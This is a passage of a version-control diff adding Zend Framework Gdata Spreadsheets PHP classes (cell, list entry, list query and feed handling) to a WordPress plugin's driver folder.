+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Entry.php 3941 2007-03-14 21:36:13Z darby $
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+
+/**
+ * Concrete class for working with cell elements.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Spreadsheets_Extension_Cell extends Zend_Gdata_Extension
+{
+    protected $_rootElement = 'cell';
+    protected $_rootNamespace = 'gs';
+
+    /**
+     * The row attribute of this cell
+     *
+     * @var string
+     */
+    protected $_row = null;
+
+    /**
+     * The column attribute of this cell
+     *
+     * @var string
+     */
+    protected $_col = null;
+
+    /**
+     * The inputValue attribute of this cell
+     *
+     * @var string
+     */
+    protected $_inputValue = null;
+
+    /**
+     * The numericValue attribute of this cell
+     *
+     * @var string
+     */
+    protected $_numericValue = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Spreadsheets_Extension_Cell element.
+     *
+     * @param string $text (optional) Text contents of the element.
+     * @param string $row (optional) Row attribute of the element.
+     * @param string $col (optional) Column attribute of the element.
+     * @param string $inputValue (optional) Input value attribute of the element.
+     * @param string $numericValue (optional) Numeric value attribute of the element.
+     */
+    public function __construct($text = null, $row = null, $col = null, $inputValue = null, $numericValue = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Spreadsheets::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+        $this->_row = $row;
+        $this->_col = $col;
+        $this->_inputValue = $inputValue;
+        $this->_numericValue = $numericValue;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        $element->setAttribute('row', $this->_row);
+        $element->setAttribute('col', $this->_col);
+        if ($this->_inputValue) $element->setAttribute('inputValue', $this->_inputValue);
+        if ($this->_numericValue) $element->setAttribute('numericValue', $this->_numericValue);
+        return $element;
+    }
+
+    protected function takeAttributeFromDOM($attribute)
+    {
+        switch ($attribute->localName) {
+        case 'row':
+            $this->_row = $attribute->nodeValue;
+            break;
+        case 'col':
+            $this->_col = $attribute->nodeValue;
+            break;
+        case 'inputValue':
+            $this->_inputValue = $attribute->nodeValue;
+            break;
+        case 'numericValue':
+            $this->_numericValue = $attribute->nodeValue;
+            break;
+        default:
+            parent::takeAttributeFromDOM($attribute);
+        }
+    }
+
+    /**
+     * Gets the row attribute of the Cell element.
+     * @return string Row of the Cell.
+     */
+    public function getRow()
+    {
+        return $this->_row;
+    }
+
+    /**
+     * Gets the column attribute of the Cell element.
+     * @return string Column of the Cell.
+     */
+    public function getColumn()
+    {
+        return $this->_col;
+    }
+
+    /**
+     * Gets the input value attribute of the Cell element.
+     * @return string Input value of the Cell.
+     */
+    public function getInputValue()
+    {
+        return $this->_inputValue;
+    }
+
+    /**
+     * Gets the numeric value attribute of the Cell element.
+     * @return string Numeric value of the Cell.
+     */
+    public function getNumericValue()
+    {
+        return $this->_numericValue;
+    }
+
+    /**
+     * Sets the row attribute of the Cell element.
+     * @param string $row New row of the Cell.
+     */
+    public function setRow($row)
+    {
+        $this->_row = $row;
+        return $this;
+    }
+
+    /**
+     * Sets the column attribute of the Cell element.
+     * @param string $col New column of the Cell.
+     */
+    public function setColumn($col)
+    {
+        $this->_col = $col;
+        return $this;
+    }
+
+    /**
+     * Sets the input value attribute of the Cell element.
+     * @param string $inputValue New input value of the Cell.
+     */
+    public function setInputValue($inputValue)
+    {
+        $this->_inputValue = $inputValue;
+        return $this;
+    }
+
+    /**
+     * Sets the numeric value attribute of the Cell element.
+     * @param string $numericValue New numeric value of the Cell.
+     */
+    public function setNumericValue($numericValue)
+    {
+        $this->_numericValue = $numericValue;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/Extension/ColCount.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/Extension/ColCount.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/Extension/ColCount.php	(revision 44)
@@ -0,0 +1,59 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Entry.php 3941 2007-03-14 21:36:13Z darby $
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+
+/**
+ * Concrete class for working with colCount elements.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Spreadsheets_Extension_ColCount extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'colCount';
+    protected $_rootNamespace = 'gs';
+
+    /**
+     * Constructs a new Zend_Gdata_Spreadsheets_Extension_ColCount element.
+     * @param string $text (optional) Text contents of the element.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Spreadsheets::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/Extension/Custom.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/Extension/Custom.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/Extension/Custom.php	(revision 44)
@@ -0,0 +1,100 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Entry.php 3941 2007-03-14 21:36:13Z darby $
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+
+/**
+ * Concrete class for working with custom gsx elements.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Spreadsheets_Extension_Custom extends Zend_Gdata_Extension
+{
+    // custom elements have custom names.
+    protected $_rootElement = null; // The name of the column
+    protected $_rootNamespace = 'gsx';
+
+    /**
+     * Constructs a new Zend_Gdata_Spreadsheets_Extension_Custom object.
+     * @param string $column (optional) The column/tag name of the element.
+     * @param string $value (optional) The text content of the element.
+     */
+    public function __construct($column = null, $value = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Spreadsheets::$namespaces);
+        parent::__construct();
+        $this->_text = $value;
+        $this->_rootElement = $column;
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        return $element;
+    }
+
+    /**
+     * Transfers each child and attribute into member variables.
+     * This is called when XML is received over the wire and the data
+     * model needs to be built to represent this XML.
+     *
+     * @param DOMNode $node The DOMNode that represents this object's data
+     */
+    public function transferFromDOM($node)
+    {
+        parent::transferFromDOM($node);
+        $this->_rootElement = $node->localName;
+    }
+
+    /**
+     * Sets the column/tag name of the element.
+     * @param string $column The new column name.
+     */
+    public function setColumnName($column)
+    {
+        $this->_rootElement = $column;
+        return $this;
+    }
+
+    /**
+     * Gets the column name of the element
+     * @return string The column name.
+     */
+    public function getColumnName()
+    {
+        return $this->_rootElement;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/Extension/RowCount.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/Extension/RowCount.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/Extension/RowCount.php	(revision 44)
@@ -0,0 +1,60 @@
+<?php
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ * @version    $Id: Entry.php 3941 2007-03-14 21:36:13Z darby $
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Extension
+ */
+require_once 'Zend/Gdata/Extension.php';
+
+
+/**
+ * Concrete class for working with RowCount elements.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Spreadsheets_Extension_RowCount extends Zend_Gdata_Extension
+{
+
+    protected $_rootElement = 'rowCount';
+    protected $_rootNamespace = 'gs';
+
+    /**
+     * Constructs a new Zend_Gdata_Spreadsheets_Extension_RowCount object.
+     * @param string $text (optional) The text content of the element.
+     */
+    public function __construct($text = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Spreadsheets::$namespaces);
+        parent::__construct();
+        $this->_text = $text;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/ListEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/ListEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/ListEntry.php	(revision 44)
@@ -0,0 +1,207 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category     Zend
+ * @package      Zend_Gdata
+ * @subpackage   Spreadsheets
+ * @copyright    Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Spreadsheets_Extension_Custom
+ */
+require_once 'Zend/Gdata/Spreadsheets/Extension/Custom.php';
+
+/**
+ * Concrete class for working with List entries.
+ *
+ * @category     Zend
+ * @package      Zend_Gdata
+ * @subpackage   Spreadsheets
+ * @copyright    Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Spreadsheets_ListEntry extends Zend_Gdata_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_Spreadsheets_ListEntry';
+
+    /**
+     * List of custom row elements (Zend_Gdata_Spreadsheets_Extension_Custom),
+     * indexed by order added to this entry.
+     * @var array
+     */
+    protected $_custom = array();
+
+    /**
+     * List of custom row elements (Zend_Gdata_Spreadsheets_Extension_Custom),
+     * indexed by element name.
+     * @var array
+     */
+    protected $_customByName = array();
+
+    /**
+     * Constructs a new Zend_Gdata_Spreadsheets_ListEntry object.
+     * @param DOMElement $element An existing XML element on which to base this new object.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Spreadsheets::$namespaces);
+        parent::__construct($element);
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if (!empty($this->_custom)) {
+            foreach ($this->_custom as $custom) {
+                $element->appendChild($custom->getDOM($element->ownerDocument));
+            }
+        }
+        return $element;
+    }
+
+    protected function takeChildFromDOM($child)
+    {
+        switch ($child->namespaceURI) {
+        case $this->lookupNamespace('gsx');
+            $custom = new Zend_Gdata_Spreadsheets_Extension_Custom($child->localName);
+            $custom->transferFromDOM($child);
+            $this->addCustom($custom);
+            break;
+        default:
+            parent::takeChildFromDOM($child);
+            break;
+        }
+    }
+
+    /**
+     * Gets the row elements contained by this list entry.
+     * @return array The custom row elements in this list entry
+     */
+    public function getCustom()
+    {
+        return $this->_custom;
+    }
+
+    /**
+     * Gets a single row element contained by this list entry using its name.
+     * @param string $name The name of a custom element to return. If null
+     *          or not defined, an array containing all custom elements
+     *          indexed by name will be returned.
+     * @return mixed If a name is specified, the
+     *          Zend_Gdata_Spreadsheets_Extension_Custom element requested,
+     *          is returned or null if not found. Otherwise, an array of all
+     *          Zend_Gdata_Spreadsheets_Extension_Custom elements is returned
+     *          indexed by name.
+     */
+    public function getCustomByName($name = null)
+    {
+        if ($name === null) {
+            return $this->_customByName;
+        } else {
+            if (array_key_exists($name, $this->customByName)) {
+                return $this->_customByName[$name];
+            } else {
+                return null;
+            }
+        }
+    }
+
+    /**
+     * Sets the row elements contained by this list entry. If any
+     * custom row elements were previously stored, they will be overwritten.
+     * @param array $custom The custom row elements to be contained in this
+     *          list entry.
+     * @return Zend_Gdata_Spreadsheets_ListEntry Provides a fluent interface.
+     */
+    public function setCustom($custom)
+    {
+        $this->_custom = array();
+        foreach ($custom as $c) {
+            $this->addCustom($c);
+        }
+        return $this;
+    }
+
+    /**
+     * Add an individual custom row element to this list entry.
+     * @param Zend_Gdata_Spreadsheets_Extension_Custom $custom The custom
+     *             element to be added.
+     * @return Zend_Gdata_Spreadsheets_ListEntry Provides a fluent interface.
+     */
+    public function addCustom($custom)
+    {
+        $this->_custom[] = $custom;
+        $this->_customByName[$custom->getColumnName()] = $custom;
+        return $this;
+    }
+
+    /**
+     * Remove an individual row element from this list entry by index. This
+     * will cause the array to be re-indexed.
+     * @param int $index The index of the custom element to be deleted.
+     * @return Zend_Gdata_Spreadsheets_ListEntry Provides a fluent interface.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function removeCustom($index)
+    {
+        if (array_key_exists($index, $this->_custom)) {
+            $element = $this->_custom[$index];
+            // Remove element
+            unset($this->_custom[$index]);
+            // Re-index the array
+            $this->_custom = array_values($this->_custom);
+            // Be sure to delete form both arrays!
+            $key = array_search($element, $this->_customByName);
+            unset($this->_customByName[$key]);
+        } else {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                'Element does not exist.');
+        }
+        return $this;
+    }
+
+    /**
+     * Remove an individual row element from this list entry by name.
+     * @param string $name The name of the custom element to be deleted.
+     * @return Zend_Gdata_Spreadsheets_ListEntry Provides a fluent interface.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function removeCustomByName($name)
+    {
+        if (array_key_exists($name, $this->_customByName)) {
+            $element = $this->_customByName[$name];
+            // Remove element
+            unset($this->_customByName[$name]);
+            // Be sure to delete from both arrays!
+            $key = array_search($element, $this->_custom);
+            unset($this->_custom[$key]);
+        } else {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                'Element does not exist.');
+        }
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/ListFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/ListFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/ListFeed.php	(revision 44)
@@ -0,0 +1,63 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Spreadsheets_ListFeed extends Zend_Gdata_Feed
+{
+
+    /**
+     * The classname for individual feed elements.
+     *
+     * @var string
+     */
+    protected $_entryClassName = 'Zend_Gdata_Spreadsheets_ListEntry';
+
+    /**
+     * The classname for the feed.
+     *
+     * @var string
+     */
+    protected $_feedClassName = 'Zend_Gdata_Spreadsheets_ListFeed';
+
+    /**
+     * Constructs a new Zend_Gdata_Spreadsheets_ListFeed object.
+     * @param DOMElement $element An existing XML element on which to base this new object.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Spreadsheets::$namespaces);
+        parent::__construct($element);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/ListQuery.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/ListQuery.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/ListQuery.php	(revision 44)
@@ -0,0 +1,304 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_App_util
+ */
+require_once('Zend/Gdata/App/Util.php');
+
+/**
+ * Zend_Gdata_Query
+ */
+require_once('Zend/Gdata/Query.php');
+
+/**
+ * Assists in constructing queries for Google Spreadsheets lists
+ *
+ * @link http://code.google.com/apis/gdata/calendar/
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Spreadsheets_ListQuery extends Zend_Gdata_Query
+{
+
+    const SPREADSHEETS_LIST_FEED_URI = 'http://spreadsheets.google.com/feeds/list';
+
+    protected $_defaultFeedUri = self::SPREADSHEETS_LIST_FEED_URI;
+    protected $_visibility = 'private';
+    protected $_projection = 'full';
+    protected $_spreadsheetKey = null;
+    protected $_worksheetId = 'default';
+    protected $_rowId = null;
+
+    /**
+     * Constructs a new Zend_Gdata_Spreadsheets_ListQuery object.
+     */
+    public function __construct()
+    {
+        parent::__construct();
+    }
+
+    /**
+     * Sets the spreadsheet key for the query.
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_CellQuery Provides a fluent interface
+     */
+    public function setSpreadsheetKey($value)
+    {
+        $this->_spreadsheetKey = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the spreadsheet key for the query.
+     * @return string spreadsheet key
+     */
+    public function getSpreadsheetKey()
+    {
+        return $this->_spreadsheetKey;
+    }
+
+    /**
+     * Sets the worksheet id for the query.
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_CellQuery Provides a fluent interface
+     */
+    public function setWorksheetId($value)
+    {
+        $this->_worksheetId = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the worksheet id for the query.
+     * @return string worksheet id
+     */
+    public function getWorksheetId()
+    {
+        return $this->_worksheetId;
+    }
+
+    /**
+     * Sets the row id for the query.
+     * @param string $value row id
+     * @return Zend_Gdata_Spreadsheets_CellQuery Provides a fluent interface
+     */
+    public function setRowId($value)
+    {
+        $this->_rowId = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the row id for the query.
+     * @return string row id
+     */
+    public function getRowId()
+    {
+        return $this->_rowId;
+    }
+
+    /**
+     * Sets the projection for the query.
+     * @param string $value Projection
+     * @return Zend_Gdata_Spreadsheets_ListQuery Provides a fluent interface
+     */
+    public function setProjection($value)
+    {
+        $this->_projection = $value;
+        return $this;
+    }
+
+    /**
+     * Sets the visibility for this query.
+     * @param string $value visibility
+     * @return Zend_Gdata_Spreadsheets_ListQuery Provides a fluent interface
+     */
+    public function setVisibility($value)
+    {
+        $this->_visibility = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the projection for this query.
+     * @return string projection
+     */
+    public function getProjection()
+    {
+        return $this->_projection;
+    }
+
+    /**
+     * Gets the visibility for this query.
+     * @return string visibility
+     */
+    public function getVisibility()
+    {
+        return $this->_visibility;
+    }
+
+    /**
+     * Sets the spreadsheet key for this query.
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_DocumentQuery Provides a fluent interface
+     */
+    public function setSpreadsheetQuery($value)
+    {
+        if ($value != null) {
+            $this->_params['sq'] = $value;
+        } else {
+            unset($this->_params['sq']);
+        }
+        return $this;
+    }
+
+    /**
+     * Gets the spreadsheet key for this query.
+     * @return string spreadsheet query
+     */
+    public function getSpreadsheetQuery()
+    {
+        if (array_key_exists('sq', $this->_params)) {
+            return $this->_params['sq'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Sets the orderby attribute for this query.
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_DocumentQuery Provides a fluent interface
+     */
+    public function setOrderBy($value)
+    {
+        if ($value != null) {
+            $this->_params['orderby'] = $value;
+        } else {
+            unset($this->_params['orderby']);
+        }
+        return $this;
+    }
+
+    /**
+     * Gets the orderby attribute for this query.
+     * @return string orderby
+     */
+    public function getOrderBy()
+    {
+        if (array_key_exists('orderby', $this->_params)) {
+            return $this->_params['orderby'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Sets the reverse attribute for this query.
+     * @param string $value
+     * @return Zend_Gdata_Spreadsheets_DocumentQuery Provides a fluent interface
+     */
+    public function setReverse($value)
+    {
+        if ($value != null) {
+            $this->_params['reverse'] = $value;
+        } else {
+            unset($this->_params['reverse']);
+        }
+        return $this;
+    }
+
+    /**
+     * Gets the reverse attribute for this query.
+     * @return string reverse
+     */
+    public function getReverse()
+    {
+
+
+        if (array_key_exists('reverse', $this->_params)) {
+            return $this->_params['reverse'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Gets the full query URL for this query.
+     * @return string url
+     */
+    public function getQueryUrl()
+    {
+
+        $uri = $this->_defaultFeedUri;
+
+        if ($this->_spreadsheetKey != null) {
+            $uri .= '/'.$this->_spreadsheetKey;
+        } else {
+            require_once 'Zend/Gdata/App/Exception.php'; 
+            throw new Zend_Gdata_App_Exception('A spreadsheet key must be provided for list queries.');
+        }
+
+        if ($this->_worksheetId != null) {
+            $uri .= '/'.$this->_worksheetId;
+        } else {
+            require_once 'Zend/Gdata/App/Exception.php'; 
+            throw new Zend_Gdata_App_Exception('A worksheet id must be provided for list queries.');
+        }
+
+        if ($this->_visibility != null) {
+            $uri .= '/'.$this->_visibility;
+        } else {
+            require_once 'Zend/Gdata/App/Exception.php'; 
+            throw new Zend_Gdata_App_Exception('A visibility must be provided for list queries.');
+        }
+
+        if ($this->_projection != null) {
+            $uri .= '/'.$this->_projection;
+        } else {
+            require_once 'Zend/Gdata/App/Exception.php'; 
+            throw new Zend_Gdata_App_Exception('A projection must be provided for list queries.');
+        }
+
+        if ($this->_rowId != null) {
+            $uri .= '/'.$this->_rowId;
+        }
+
+        $uri .= $this->getQueryString();
+        return $uri;
+    }
+
+    /**
+     * Gets the attribute query string for this query.
+     * @return string query string
+     */
+    public function getQueryString()
+    {
+        return parent::getQueryString();
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/SpreadsheetEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/SpreadsheetEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/SpreadsheetEntry.php	(revision 44)
@@ -0,0 +1,63 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * Concrete class for working with Atom entries.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Spreadsheets
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Spreadsheets_SpreadsheetEntry extends Zend_Gdata_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_Spreadsheets_SpreadsheetEntry';
+
+    /**
+     * Constructs a new Zend_Gdata_Spreadsheets_SpreadsheetEntry object.
+     * @param DOMElement $element (optional) The DOMElement on which to base this object.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Spreadsheets::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Returns the worksheets in this spreadsheet
+     *
+     * @return Zend_Gdata_Spreadsheets_WorksheetFeed The worksheets
+     */
+    public function getWorksheets()
+    {
+        $service = new Zend_Gdata_Spreadsheets($this->getHttpClient());
+        return $service->getWorksheetFeed($this);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/SpreadsheetFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/SpreadsheetFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets/SpreadsheetFeed.php	(revision 44)
@@ -0,0 +1,63 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
